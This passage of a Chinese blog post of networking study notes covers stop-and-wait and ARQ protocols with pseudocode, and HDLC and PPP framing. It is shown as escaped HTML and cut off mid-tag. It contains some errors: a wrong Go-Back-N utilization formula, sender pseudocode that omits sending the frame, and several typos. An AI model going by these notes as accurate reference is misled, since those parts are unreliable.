title=\"停止等待协议\"\u003e\u003c/a\u003e停止等待协议\u003c/h4\u003e\u003cp\u003e发送方发送一个帧后,必须得到ACK后才能继续发送下一个帧。此处数据帧还是单向的,除了ACK能反向通过。发送方算法如下(很简单,不用多说):\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequesToSend) AND canSend){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e GetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MakeFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReceiveFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReveiceFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendACKFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"有噪声通道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%9C%89%E5%99%AA%E5%A3%B0%E9%80%9A%E9%81%93\" class=\"headerlink\" title=\"有噪声通道\"\u003e\u003c/a\u003e有噪声通道\u003c/h3\u003e\u003ch4 id=\"停止等待自动重复请求(Stop-and-Wait-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%81%9C%E6%AD%A2%E7%AD%89%E5%BE%85%E8%87%AA%E5%8A%A8%E9%87%8D%E5%A4%8D%E8%AF%B7%E6%B1%82%EF%BC%88Stop-and-Wait-ARQ%EF%BC%89\" class=\"headerlink\" title=\"停止等待自动重复请求(Stop-and-Wait ARQ)\"\u003e\u003c/a\u003e停止等待自动重复请求(Stop-and-Wait ARQ)\u003c/h4\u003e\u003cp\u003e是在上面的停止等得协议加入了简单的差错控制。首先这个协议一次发送一个帧,所以相对简单。发送方发送一个帧后启动定时器,若没有收到ACK,则重发此帧。因此,帧需要编号来让双方知道应该重发哪个帧。另外,ACK帧也是帧,也会丢失。所以ACK帧也需要编号。\u003c/p\u003e\u003cp\u003e由于只有两个帧,所以序号使用0和1即可。接收方收到序列号后,返回当前数据序列号的取反。意思是可以接收下一个帧了。\u003c/p\u003e\u003cp\u003e数据发送失败,超时,发送方重发。\u003c/p\u003e\u003cp\u003eACK发送失败,超时,发送方重发,接收方检测到重复数据,抛弃,回复ACK。\u003c/p\u003e\u003cp\u003e发送方算法:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eSn=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequestToSend) AND canSend){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eGetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eMakeFrame(Sn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStoreFrame(Sn)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStartTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSn=Sn + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eReceiveFrame(ackNo);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(not corrputed AND ackNo == Sn){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStopTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePurgeFrame(Sn\u003cspan class=\"number\"\u003e-1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(TimeOut)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStartTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eResendFrame(Sn\u003cspan class=\"number\"\u003e-1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方算法:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eRn=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eReceiveFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(corrupted(frame)) sleep();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(seqNo == Rn){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRn = Rn + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSendFrame(Rn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230524212730.png\"/\u003e\u003c/p\u003e\u003cp\u003e由上图可以看出,停止等待ARQ大量浪费了带宽;如果上面的协议中,我们能在发送了15帧后再停止等待,则利用率可以上升到$15000/20000$,即$75%$。同时,在停止等待ARQ中不存在流水线操作,因为单帧发送后存在阻塞操作。\u003c/p\u003e\u003ch4 id=\"回退N帧自动重发请求(Go-Back-N-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%9B%9E%E9%80%80N%E5%B8%A7%E8%87%AA%E5%8A%A8%E9%87%8D%E5%8F%91%E8%AF%B7%E6%B1%82%EF%BC%88Go-Back-N-ARQ%EF%BC%89\" class=\"headerlink\" title=\"回退N帧自动重发请求(Go-Back-N ARQ)\"\u003e\u003c/a\u003e回退N帧自动重发请求(Go-Back-N ARQ)\u003c/h4\u003e\u003cp\u003e它是上面的协议应用了流水线原理的版本。最主要的改动就是序列号设计,以及滑动窗口。\u003c/p\u003e\u003cp\u003e假设帧头部允许序列号有$m$位,序列号范围就是0到$2^m-1$。\u003c/p\u003e\u003cp\u003e然后发送方开始发送数据,先发第一帧, 接收方收到,回传ACK1 ,这时有了一个叫做发送方窗口的东西:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230524213723.png\"/\u003e\u003c/p\u003e\u003cp\u003e如上图,帧有四部分:已确认的帧、发送但未确认的帧、能被发送但还没收到上层数据的帧、不能发送的帧(窗口大小以外的帧)。窗口大小在这个协议中是$S_{size}=2^m-1$。还有两个变量$S_f$和$S_n$,分别是第一个待处理的帧、下一个要发送的帧。\u003c/p\u003e\u003cp\u003e当收到确认帧时,发送窗口右划;一个ACK帧可以确认一个以上的帧,这加快了传输效率。但是当第一帧没有收到,之后收到的很多帧都需要作废重传,非常浪费时间。\u003c/p\u003e\u003ch4 id=\"利用率\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%88%A9%E7%94%A8%E7%8E%87\" class=\"headerlink\" title=\"利用率\"\u003e\u003c/a\u003e利用率\u003c/h4\u003e\u003cp\u003e各种ARQ协议的利用率计算是一个经常考察的点,其实答案基本很固定。首先是思路,ARQ协议利用率计算时,假设收发时间相等,然后计算所有发送的帧中,数据帧的占比即可得到。\u003c/p\u003e\u003cul\u003e\u003cli\u003e停止等待ARQ:发送一次接收一次:50%\u003c/li\u003e\u003cli\u003e回退N帧ARQ:发送N帧接收一次:(1/N+1)%\u003c/li\u003e\u003cli\u003e选择性重复ARQ:不知道)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"选择性重复ARQ(Selective-Repeat-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%80%89%E6%8B%A9%E6%80%A7%E9%87%8D%E5%A4%8DARQ%EF%BC%88Selective-Repeat-ARQ%EF%BC%89\" class=\"headerlink\" title=\"选择性重复ARQ(Selective Repeat ARQ)\"\u003e\u003c/a\u003e选择性重复ARQ(Selective Repeat ARQ)\u003c/h4\u003e\u003cp\u003e可在一个帧被损坏时,不必重发N个帧。它主要是针对接收方的更改。\u003c/p\u003e\u003ch3 id=\"高级数据链路控制(HDLC)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%AB%98%E7%BA%A7%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E6%8E%A7%E5%88%B6%EF%BC%88HDLC%EF%BC%89\" class=\"headerlink\" title=\"高级数据链路控制(HDLC)\"\u003e\u003c/a\u003e高级数据链路控制(HDLC)\u003c/h3\u003e\u003cp\u003eHDLC(High-level Data Link Control)是一个实际应用的面向比特的数据链路协议,支持点到点链路和多点链路。具体实现了本章讨论的各种ARQ协议。具有两种通用传输模式:\u003c/p\u003e\u003cul\u003e\u003cli\u003en正常响应方式(Normal Response Mode,NRM)\u003c/li\u003e\u003cli\u003en异步平衡方式(Asynchronous Balanced Mode,ABM)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Configurations-and-Transfer-Modes-配置和传输方式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Configurations-and-Transfer-Modes-%E9%85%8D%E7%BD%AE%E5%92%8C%E4%BC%A0%E8%BE%93%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"Configurations and Transfer Modes 配置和传输方式\"\u003e\u003c/a\u003eConfigurations and Transfer Modes 配置和传输方式\u003c/h4\u003e\u003cp\u003e配置方式有非平衡/平衡两种。第一种是主从配置方式,第二种是对等方式。\u003c/p\u003e\u003col\u003e\u003cli\u003e非平衡配置方式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e主站与从站:一组结点根据在通信过程中的地位分为主站与从站,由主站来控制数据链路的工作过程。主站发出命令,从站接受命令,发出响应,配合主站工作。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e点对点方式与多点方式:分为点对点方式与多点方式两种类型,在多点方式的链路中,主站与每个从站之间分别建立数据链路。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e正常响应模式与异步响应模式:分为正常响应模式与异步响应模式两种数据传输方式。在正常响应模式中,主站可随时向从站传输数据帧。只有在主站向从站发送命令帧探询,从站响应后才可以向主站发送数据帧。在异步响应模式中,主站和从站可以随时相互传输数据帧,从站不需要等待主站发出探询就可以发送数据帧,但是主站仍然负责数据链路的初始化、建立、释放与差错恢复等功能。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e平衡配置方式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e链路两端的两个站都是复合站,复合站同时具有主站与从站的功能,每个复合站都可以发出命令与响应。平衡配置方式只有异步平衡模式一种工作模式,每个复合站都可以发起数据传输,而不需要得到对方的许可。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Frames-HDLC的帧格式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Frames-HDLC%E7%9A%84%E5%B8%A7%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"Frames HDLC的帧格式\"\u003e\u003c/a\u003eFrames HDLC的帧格式\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235215.png\"/\u003e\u003c/p\u003e\u003cp\u003e如图所示,上面是三种帧结构,分别是\u003cstrong\u003e信息帧,管理帧,无编号帧\u003c/strong\u003e。它的控制字段如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235430.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"Control-Field-HDLC的帧控制字段\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Control-Field-HDLC%E7%9A%84%E5%B8%A7%E6%8E%A7%E5%88%B6%E5%AD%97%E6%AE%B5\" class=\"headerlink\" title=\"Control Field HDLC的帧控制字段\"\u003e\u003c/a\u003eControl Field HDLC的帧控制字段\u003c/h4\u003e\u003cp\u003e其中,管理帧的控制字段如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e准备接收RR,字段标识是00\u003c/li\u003e\u003cli\u003e不准备接收RNR,字段标识是10\u003c/li\u003e\u003cli\u003e拒绝接收REJ,字段标识是01\u003c/li\u003e\u003cli\u003e选择性拒收SREJ,字段标识是11\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e无编号帧的指令和响应更加复杂:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235556.png\"/\u003e\u003c/p\u003e\u003cp\u003e一般来讲,HDLC中常用的是对等异步控制模式。这种模式下,链接的建立和拆除如下图所示。使用4个U-frame帧来建立和断开连接。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235746.png\"/\u003e\u003c/p\u003e\u003cp\u003e而进行数据通信时,基本使用I-frame信息帧捎带指令。如果发生数据丢失等情况,则未接收到的一方使用S-frame来告知另一方重发。\u003c/p\u003e\u003ch3 id=\"POINT-TO-POINT-PROTOCOL-点到点协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#POINT-TO-POINT-PROTOCOL-%E7%82%B9%E5%88%B0%E7%82%B9%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"POINT-TO-POINT PROTOCOL 点到点协议\"\u003e\u003c/a\u003ePOINT-TO-POINT PROTOCOL 点到点协议\u003c/h3\u003e\u003cp\u003e高级数据链路控制协议是点到点和点到多点都能使用的一个通用协议,但最通用的协议还是点到点协议(Point-to-Point Protocol,PPP),使用面向字节的方式。\u003c/p\u003e\u003cp\u003e它的帧格式如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg 